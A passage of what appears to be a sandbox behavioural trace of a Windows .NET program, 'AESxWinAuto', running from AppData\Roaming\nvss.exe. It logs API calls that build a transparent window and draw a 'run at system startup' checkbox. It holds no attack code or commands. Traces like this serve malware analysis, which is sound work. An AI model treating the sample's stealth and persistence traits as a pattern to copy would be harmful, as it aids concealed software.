pdm=0x0) returned 0x601092f [0064.827] GetDeviceCaps (hdc=0x601092f, index=12) returned 32 [0064.827] GetDeviceCaps (hdc=0x601092f, index=14) returned 1 [0064.827] DeleteDC (hdc=0x601092f) returned 1 [0064.827] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3aeda4 | out: lpmi=0x3aeda4) returned 1 [0064.827] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.827] CreateWindowExW (dwExStyle=0x90000, lpClassName="WindowsForms10.Window.8.app.0.2bf8098_r13_ad1", lpWindowName="AESxWinAuto", dwStyle=0x2ce0000, X=441, Y=282, nWidth=558, nHeight=296, hWndParent=0x0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x401f0 [0064.827] SetWindowLongW (hWnd=0x401f0, nIndex=-4, dwNewLong=2005738973) returned 7342122 [0064.827] GetWindowLongW (hWnd=0x401f0, nIndex=-4) returned 2005738973 [0064.828] SetWindowLongW (hWnd=0x401f0, nIndex=-4, dwNewLong=7342506) returned 2005738973 [0064.828] GetWindowLongW (hWnd=0x401f0, nIndex=-4) returned 7342506 [0064.828] GetWindowLongW (hWnd=0x401f0, nIndex=-16) returned 114163712 [0064.828] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x81, wParam=0x0, lParam=0x3ae9a4) returned 0x1 [0064.828] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x83, wParam=0x0, lParam=0x3ae990) returned 0x0 [0064.830] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x1, wParam=0x0, lParam=0x3ae9a4) returned 0x0 [0064.830] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae6d4 | out: lpRect=0x3ae6d4) returned 1 [0064.830] GetWindowRect (in: hWnd=0x401f0, lpRect=0x3ae6d4 | out: lpRect=0x3ae6d4) returned 1 [0064.830] SetWindowTextW (hWnd=0x401f0, lpString="AESxWinAuto") returned 1 [0064.830] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xc, wParam=0x0, lParam=0x25e6c90) returned 0x1 [0064.840] SetLayeredWindowAttributes (hwnd=0x401f0, crKey=0x0, bAlpha=0x0, dwFlags=0x2) returned 1 [0064.845] GetStartupInfoW (in: lpStartupInfo=0x25fbc8c | out: lpStartupInfo=0x25fbc8c*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0064.845] GetParent (hWnd=0x401f0) returned 0x0 [0064.846] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.846] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.2bf8098_r13_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x10236 [0064.846] SetWindowLongW (hWnd=0x10236, nIndex=-4, dwNewLong=2005738973) returned 7342362 [0064.846] GetWindowLongW (hWnd=0x10236, nIndex=-4) returned 2005738973 [0064.846] SetWindowLongW (hWnd=0x10236, nIndex=-4, dwNewLong=7342554) returned 2005738973 [0064.846] GetWindowLongW (hWnd=0x10236, nIndex=-4) returned 7342554 [0064.846] GetWindowLongW (hWnd=0x10236, nIndex=-16) returned 79691776 [0064.846] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x24, wParam=0x0, lParam=0x3ae9d8) returned 0x0 [0064.846] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x81, wParam=0x0, lParam=0x3ae9cc) returned 0x1 [0064.847] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x83, wParam=0x0, lParam=0x3ae9b8) returned 0x0 [0064.847] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x1, wParam=0x0, lParam=0x3ae9cc) returned 0x0 [0064.847] SetWindowLongW (hWnd=0x401f0, nIndex=-8, dwNewLong=66102) returned 0 [0064.847] GetSystemMetrics (nIndex=49) returned 16 [0064.847] GetSystemMetrics (nIndex=50) returned 16 [0064.848] CreateIconFromResourceEx (presbits=0x25fbd90, dwResSize=0x468, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x60227 [0064.848] SendMessageW (hWnd=0x401f0, Msg=0x80, wParam=0x0, lParam=0x60227) returned 0x0 [0064.848] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x80, wParam=0x0, lParam=0x60227) returned 0x0 [0064.848] SendMessageW (hWnd=0x401f0, Msg=0x80, wParam=0x1, lParam=0xb0239) returned 0x0 [0064.848] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x80, wParam=0x1, lParam=0xb0239) returned 0x0 [0064.850] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x60227 [0064.851] GetSystemMenu (hWnd=0x401f0, bRevert=0) returned 0x120221 [0064.852] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3aef1c | out: lpwndpl=0x3aef1c) returned 1 [0064.852] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0064.852] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf030, uEnable=0x1) returned 0 [0064.852] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0064.852] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0064.852] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0064.852] GetClientRect (in: hWnd=0x401f0, lpRect=0x3aef60 | out: lpRect=0x3aef60) returned 1 [0064.852] GetClientRect (in: hWnd=0x401f0, lpRect=0x3aeec0 | out: lpRect=0x3aeec0) returned 1 [0064.852] GetWindowRect (in: hWnd=0x401f0, lpRect=0x3aeec0 | out: lpRect=0x3aeec0) returned 1 [0064.852] SetWindowLongW (hWnd=0x401f0, nIndex=-8, dwNewLong=66102) returned 66102 [0064.852] SendMessageW (hWnd=0x10236, Msg=0x80, wParam=0x1, lParam=0xb0239) returned 0x0 [0064.852] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x80, wParam=0x1, lParam=0xb0239) returned 0x0 [0064.852] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0xd, wParam=0x104, lParam=0x106e3f0) returned 0x0 [0064.853] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0xd, wParam=0x104, lParam=0x106e3f0) returned 0x0 [0064.853] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.853] GetWindowLongW (hWnd=0x401f0, nIndex=-16) returned 114163712 [0064.853] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0064.853] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0064.853] GetSystemMetrics (nIndex=42) returned 0 [0064.853] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3aee58, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0064.853] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3aee58) returned 0xb [0064.854] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0064.854] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0064.854] GetSystemMetrics (nIndex=42) returned 0 [0064.854] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3aee58, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0064.854] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3aee58) returned 0xb [0064.854] GetCursorPos (in: lpPoint=0x25fc344 | out: lpPoint=0x25fc344*(x=473, y=376)) returned 1 [0064.854] MonitorFromPoint (pt=0x1d9, dwFlags=0x178) returned 0x10001 [0064.854] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3aed94 | out: lpmi=0x3aed94) returned 1 [0064.854] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xf01092a [0064.854] GetDeviceCaps (hdc=0xf01092a, index=12) returned 32 [0064.854] GetDeviceCaps (hdc=0xf01092a, index=14) returned 1 [0064.854] DeleteDC (hdc=0xf01092a) returned 1 [0064.854] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3aede4 | out: lpmi=0x3aede4) returned 1 [0064.854] GetWindowLongW (hWnd=0x401f0, nIndex=-16) returned 114163712 [0064.854] GetWindowLongW (hWnd=0x401f0, nIndex=-20) returned 590080 [0064.854] SetWindowLongW (hWnd=0x401f0, nIndex=-16, dwNewLong=47054848) returned 114163712 [0064.854] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x7c, wParam=0xfffffff0, lParam=0x3aeeb4) returned 0x0 [0064.854] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x7d, wParam=0xfffffff0, lParam=0x3aeeb4) returned 0x0 [0064.854] SetWindowLongW (hWnd=0x401f0, nIndex=-20, dwNewLong=589824) returned 590080 [0064.854] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x7c, wParam=0xffffffec, lParam=0x3aeeb4) returned 0x0 [0064.854] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x7d, wParam=0xffffffec, lParam=0x3aeeb4) returned 0x0 [0064.855] SetWindowPos (hWnd=0x401f0, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0064.855] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x46, wParam=0x0, lParam=0x3aeed4) returned 0x0 [0064.855] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x83, wParam=0x1, lParam=0x3aeeac) returned 0x0 [0064.860] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3aec84 | out: lpwndpl=0x3aec84) returned 1 [0064.860] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x47, wParam=0x0, lParam=0x3aeed4) returned 0x0 [0064.860] GetClientRect (in: hWnd=0x401f0, lpRect=0x3aec2c | out: lpRect=0x3aec2c) returned 1 [0064.860] GetWindowRect (in: hWnd=0x401f0, lpRect=0x3aec2c | out: lpRect=0x3aec2c) returned 1 [0064.860] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x83, wParam=0x1, lParam=0x3aeab8) returned 0x0 [0064.862] RedrawWindow (hWnd=0x401f0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0064.862] GetSystemMenu (hWnd=0x401f0, bRevert=0) returned 0x120221 [0064.862] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3aef0c | out: lpwndpl=0x3aef0c) returned 1 [0064.862] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0064.862] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0064.862] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0064.862] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0064.862] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0064.862] ShowWindow (hWnd=0x401f0, nCmdShow=5) returned 0 [0064.862] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.862] GetCurrentActCtx (in: lphActCtx=0x3aeb9c | out: lphActCtx=0x3aeb9c*=0x1d16a4) returned 1 [0064.862] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.862] GetClassInfoW (in: hInstance=0x0, lpClassName="COMBOBOX", lpWndClass=0x25fc6bc | out: lpWndClass=0x25fc6bc) returned 1 [0064.863] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.863] CoTaskMemAlloc (cb=0x5c) returned 0x1c7f58 [0064.863] RegisterClassW (lpWndClass=0x3aea54) returned 0xc1be [0064.863] CoTaskMemFree (pv=0x1c7f58) [0064.863] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.863] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1", lpWindowName=0x0, dwStyle=0x56210242, X=17, Y=56, nWidth=92, nHeight=21, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x10238 [0064.863] SetWindowLongW (hWnd=0x10238, nIndex=-4, dwNewLong=1955293152) returned 7342602 [0064.863] GetWindowLongW (hWnd=0x10238, nIndex=-4) returned 1955293152 [0064.864] SetWindowLongW (hWnd=0x10238, nIndex=-4, dwNewLong=7342650) returned 1955293152 [0064.864] GetWindowLongW (hWnd=0x10238, nIndex=-4) returned 7342650 [0064.864] GetWindowLongW (hWnd=0x10238, nIndex=-16) returned 1176568386 [0064.864] GetWindowLongW (hWnd=0x10238, nIndex=-12) returned 0 [0064.864] SetWindowLongW (hWnd=0x10238, nIndex=-12, dwNewLong=66104) returned 0 [0064.864] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x81, wParam=0x0, lParam=0x3ae634) returned 0x1 [0064.864] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x7c, wParam=0xfffffff0, lParam=0x3ae058) returned 0x0 [0064.864] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x7d, wParam=0xfffffff0, lParam=0x3ae058) returned 0xffffffff [0064.864] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x7c, wParam=0xfffffff0, lParam=0x3ae058) returned 0x0 [0064.864] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x7d, wParam=0xfffffff0, lParam=0x3ae058) returned 0xffffffff [0064.864] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x7c, wParam=0xffffffec, lParam=0x3ae058) returned 0x0 [0064.864] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x7d, wParam=0xffffffec, lParam=0x3ae058) returned 0xffffffff [0064.865] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x83, wParam=0x0, lParam=0x3ae620) returned 0x0 [0064.865] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x1, wParam=0x0, lParam=0x3ae634) returned 0x10238 [0064.877] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x210, wParam=0x3e80001, lParam=0x1023a) returned 0x1 [0064.877] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x210, wParam=0x3e80001, lParam=0x1023a) returned 0x0 [0064.881] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x55, wParam=0x1023c, lParam=0x3) returned 0x2 [0064.881] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0064.881] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x210, wParam=0x3e90001, lParam=0x1023c) returned 0x1 [0064.881] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x210, wParam=0x3e90001, lParam=0x1023c) returned 0x0 [0064.883] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x46, wParam=0x0, lParam=0x3ae01c) returned 0x1 [0064.883] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x83, wParam=0x1, lParam=0x3adff4) returned 0x0 [0064.887] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x47, wParam=0x0, lParam=0x3ae01c) returned 0x0 [0064.887] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x5, wParam=0x0, lParam=0x18005c) returned 0x0 [0064.887] GetClientRect (in: hWnd=0x10238, lpRect=0x3adc84 | out: lpRect=0x3adc84) returned 1 [0064.887] GetWindowRect (in: hWnd=0x10238, lpRect=0x3adc84 | out: lpRect=0x3adc84) returned 1 [0064.887] GetParent (hWnd=0x10238) returned 0x401f0 [0064.887] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3adc84, cPoints=0x2 | out: lpPoints=0x3adc84) returned -20382145 [0064.887] GetWindowTextLengthW (hWnd=0x10238) returned 0 [0064.887] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0064.887] GetSystemMetrics (nIndex=42) returned 0 [0064.888] GetWindowTextW (in: hWnd=0x10238, lpString=0x3adb08, nMaxCount=1 | out: lpString="") returned 0 [0064.888] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0xd, wParam=0x1, lParam=0x3adb08) returned 0x0 [0064.888] GetParent (hWnd=0x10238) returned 0x401f0 [0064.889] GetWindow (hWnd=0x10238, uCmd=0x3) returned 0x0 [0064.889] GetClientRect (in: hWnd=0x10238, lpRect=0x3ae284 | out: lpRect=0x3ae284) returned 1 [0064.889] GetWindowRect (in: hWnd=0x10238, lpRect=0x3ae284 | out: lpRect=0x3ae284) returned 1 [0064.889] GetParent (hWnd=0x10238) returned 0x401f0 [0064.889] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae284, cPoints=0x2 | out: lpPoints=0x3ae284) returned -20382145 [0064.889] SendMessageW (hWnd=0x10238, Msg=0x30, wParam=0x2f0a0257, lParam=0x0) returned 0x1 [0064.889] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x30, wParam=0x2f0a0257, lParam=0x0) returned 0x1 [0064.893] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x46, wParam=0x0, lParam=0x3adc04) returned 0x1 [0064.893] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x83, wParam=0x1, lParam=0x3adbdc) returned 0x0 [0064.894] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x47, wParam=0x0, lParam=0x3adc04) returned 0x0 [0064.895] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x5, wParam=0x0, lParam=0x15005c) returned 0x0 [0064.895] GetClientRect (in: hWnd=0x10238, lpRect=0x3ad86c | out: lpRect=0x3ad86c) returned 1 [0064.895] GetWindowRect (in: hWnd=0x10238, lpRect=0x3ad86c | out: lpRect=0x3ad86c) returned 1 [0064.895] GetParent (hWnd=0x10238) returned 0x401f0 [0064.895] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ad86c, cPoints=0x2 | out: lpPoints=0x3ad86c) returned -20382145 [0064.895] GetWindowTextLengthW (hWnd=0x10238) returned 0 [0064.895] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0064.895] GetSystemMetrics (nIndex=42) returned 0 [0064.895] GetWindowTextW (in: hWnd=0x10238, lpString=0x3ad6f0, nMaxCount=1 | out: lpString="") returned 0 [0064.895] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0xd, wParam=0x1, lParam=0x3ad6f0) returned 0x0 [0064.895] GetParent (hWnd=0x10238) returned 0x401f0 [0064.896] GetWindow (hWnd=0x10238, uCmd=0x5) returned 0x1023c [0064.896] GetWindowLongW (hWnd=0x1023c, nIndex=-4) returned 1954716112 [0064.896] SetWindowLongW (hWnd=0x1023c, nIndex=-4, dwNewLong=7342698) returned 1954716112 [0064.897] GetWindowLongW (hWnd=0x1023c, nIndex=-4) returned 7342698 [0064.897] GetWindowLongW (hWnd=0x1023c, nIndex=-16) returned 1342178176 [0064.897] GetWindowLongW (hWnd=0x1023c, nIndex=-12) returned 1001 [0064.897] SendMessageW (hWnd=0x1023c, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0064.897] CallWindowProcW (lpPrevWndFunc=0x748299d0, hWnd=0x1023c, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0064.897] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x5, wParam=0x0, lParam=0x15005c) returned 0x0 [0064.897] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x3, wParam=0x0, lParam=0x380011) returned 0x0 [0064.897] GetClientRect (in: hWnd=0x10238, lpRect=0x3ae2dc | out: lpRect=0x3ae2dc) returned 1 [0064.897] GetWindowRect (in: hWnd=0x10238, lpRect=0x3ae2dc | out: lpRect=0x3ae2dc) returned 1 [0064.897] GetParent (hWnd=0x10238) returned 0x401f0 [0064.897] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae2dc, cPoints=0x2 | out: lpPoints=0x3ae2dc) returned -20382145 [0064.897] SendMessageW (hWnd=0x10238, Msg=0x2210, wParam=0x2380001, lParam=0x10238) returned 0x0 [0064.897] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x2210, wParam=0x2380001, lParam=0x10238) returned 0x0 [0064.897] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.897] GetParent (hWnd=0x10238) returned 0x401f0 [0064.897] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0064.897] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0064.897] GetSystemMetrics (nIndex=42) returned 0 [0064.897] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3aeab8, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0064.897] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3aeab8) returned 0xb [0064.897] GdipCreateFromHDC (hdc=0x15010934, graphics=0x3ae8e4) returned 0x0 [0064.897] IsAppThemed () returned 0x1 [0064.897] GetThemeAppProperties () returned 0x3 [0064.897] GetThemeAppProperties () returned 0x3 [0064.897] IsAppThemed () returned 0x1 [0064.897] GetThemeAppProperties () returned 0x3 [0064.897] GetThemeAppProperties () returned 0x3 [0064.897] GdipCreateFromHDC (hdc=0x15010934, graphics=0x3ae8a8) returned 0x0 [0064.897] IsAppThemed () returned 0x1 [0064.897] GetThemeAppProperties () returned 0x3 [0064.897] GetThemeAppProperties () returned 0x3 [0064.898] IsAppThemed () returned 0x1 [0064.898] GetThemeAppProperties () returned 0x3 [0064.898] GetThemeAppProperties () returned 0x3 [0064.898] IsThemePartDefined () returned 0x1 [0064.898] GdipCreateRegion (region=0x3ae7b8) returned 0x0 [0064.898] GdipGetClip (graphics=0x4c28160, region=0x4b5e848) returned 0x0 [0064.898] GdipCreateMatrix (matrix=0x3ae7b8) returned 0x0 [0064.898] GdipGetWorldTransform (graphics=0x4c28160, matrix=0x4bf37e0) returned 0x0 [0064.898] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3ae7d0) returned 0x0 [0064.898] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e8f80 [0064.898] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x1e8f80) returned 0x0 [0064.898] LocalFree (hMem=0x1e8f80) returned 0x0 [0064.898] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0064.898] GdipIsInfiniteRegion (region=0x4b5e848, graphics=0x4c28160, result=0x3ae7fc) returned 0x0 [0064.898] GdipDeleteRegion (region=0x4b5e848) returned 0x0 [0064.898] GdipGetDC (graphics=0x4c28160, hdc=0x3ae804) returned 0x0 [0064.898] GetCurrentObject (hdc=0x15010934, type=0x1) returned 0x1b00017 [0064.898] GetCurrentObject (hdc=0x15010934, type=0x2) returned 0x1900010 [0064.898] GetCurrentObject (hdc=0x15010934, type=0x7) returned 0x185000f [0064.898] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0064.898] SaveDC (hdc=0x15010934) returned 2 [0064.898] OffsetViewportOrgEx (in: hdc=0x15010934, x=0, y=0, lppt=0x25fd30c | out: lppt=0x25fd30c) returned 1 [0064.898] IsAppThemed () returned 0x1 [0064.898] GetThemeAppProperties () returned 0x3 [0064.898] GetThemeAppProperties () returned 0x3 [0064.898] GetThemePartSize () returned 0x0 [0064.898] RestoreDC (hdc=0x15010934, nSavedDC=-1) returned 1 [0064.898] GdipReleaseDC (graphics=0x4c28160, hdc=0x15010934) returned 0x0 [0064.898] GdipDeleteGraphics (graphics=0x4c28160) returned 0x0 [0064.898] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0064.898] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae630 | out: pv=0x3ae630) returned 92 [0064.898] DrawTextExW (in: hdc=0x15010934, lpchText="Uruchom ze startem systemu", cchText=26, lprc=0x3ae76c, format=0x2404, lpdtp=0x25fd3e8 | out: lpchText="Uruchom ze startem systemu", lprc=0x3ae76c) returned 13 [0064.899] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0064.899] GdipCreateFromHDC (hdc=0x15010934, graphics=0x3ae8e4) returned 0x0 [0064.899] IsAppThemed () returned 0x1 [0064.899] GetThemeAppProperties () returned 0x3 [0064.899] GetThemeAppProperties () returned 0x3 [0064.899] IsAppThemed () returned 0x1 [0064.899] GetThemeAppProperties () returned 0x3 [0064.899] GetThemeAppProperties () returned 0x3 [0064.899] GdipCreateFromHDC (hdc=0x15010934, graphics=0x3ae8a8) returned 0x0 [0064.899] IsAppThemed () returned 0x1 [0064.899] GetThemeAppProperties () returned 0x3 [0064.899] GetThemeAppProperties () returned 0x3 [0064.899] IsAppThemed () returned 0x1 [0064.899] GetThemeAppProperties () returned 0x3 [0064.899] GetThemeAppProperties () returned 0x3 [0064.899] IsThemePartDefined () returned 0x1 [0064.899] GdipCreateRegion (region=0x3ae7b8) returned 0x0 [0064.899] GdipGetClip (graphics=0x4c28160, region=0x4b5e848) returned 0x0 [0064.899] GdipCreateMatrix (matrix=0x3ae7b8) returned 0x0 [0064.899] GdipGetWorldTransform (graphics=0x4c28160, matrix=0x4be2be0) returned 0x0 [0064.899] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae7d0) returned 0x0 [0064.899] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e8f80 [0064.899] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x1e8f80) returned 0x0 [0064.899] LocalFree (hMem=0x1e8f80) returned 0x0 [0064.899] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0064.899] GdipIsInfiniteRegion (region=0x4b5e848, graphics=0x4c28160, result=0x3ae7fc) returned 0x0 [0064.899] GdipDeleteRegion (region=0x4b5e848) returned 0x0 [0064.899] GdipGetDC (graphics=0x4c28160, hdc=0x3ae804) returned 0x0 [0064.899] GetCurrentObject (hdc=0x15010934, type=0x1) returned 0x1b00017 [0064.899] GetCurrentObject (hdc=0x15010934, type=0x2) returned 0x1900010 [0064.899] GetCurrentObject (hdc=0x15010934, type=0x7) returned 0x185000f [0064.899] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0064.899] SaveDC (hdc=0x15010934) returned 2 [0064.899] OffsetViewportOrgEx (in: hdc=0x15010934, x=0, y=0, lppt=0x25fda18 | out: lppt=0x25fda18) returned 1 [0064.899] IsAppThemed () returned 0x1 [0064.899] GetThemeAppProperties () returned 0x3 [0064.899] GetThemeAppProperties () returned 0x3 [0064.899] GetThemePartSize () returned 0x0 [0064.899] RestoreDC (hdc=0x15010934, nSavedDC=-1) returned 1 [0064.899] GdipReleaseDC (graphics=0x4c28160, hdc=0x15010934) returned 0x0 [0064.900] GdipDeleteGraphics (graphics=0x4c28160) returned 0x0 [0064.900] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0064.900] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae630 | out: pv=0x3ae630) returned 92 [0064.900] DrawTextExW (in: hdc=0x15010934, lpchText="checkBox1", cchText=9, lprc=0x3ae76c, format=0x2404, lpdtp=0x25fdaf4 | out: lpchText="checkBox1", lprc=0x3ae76c) returned 13 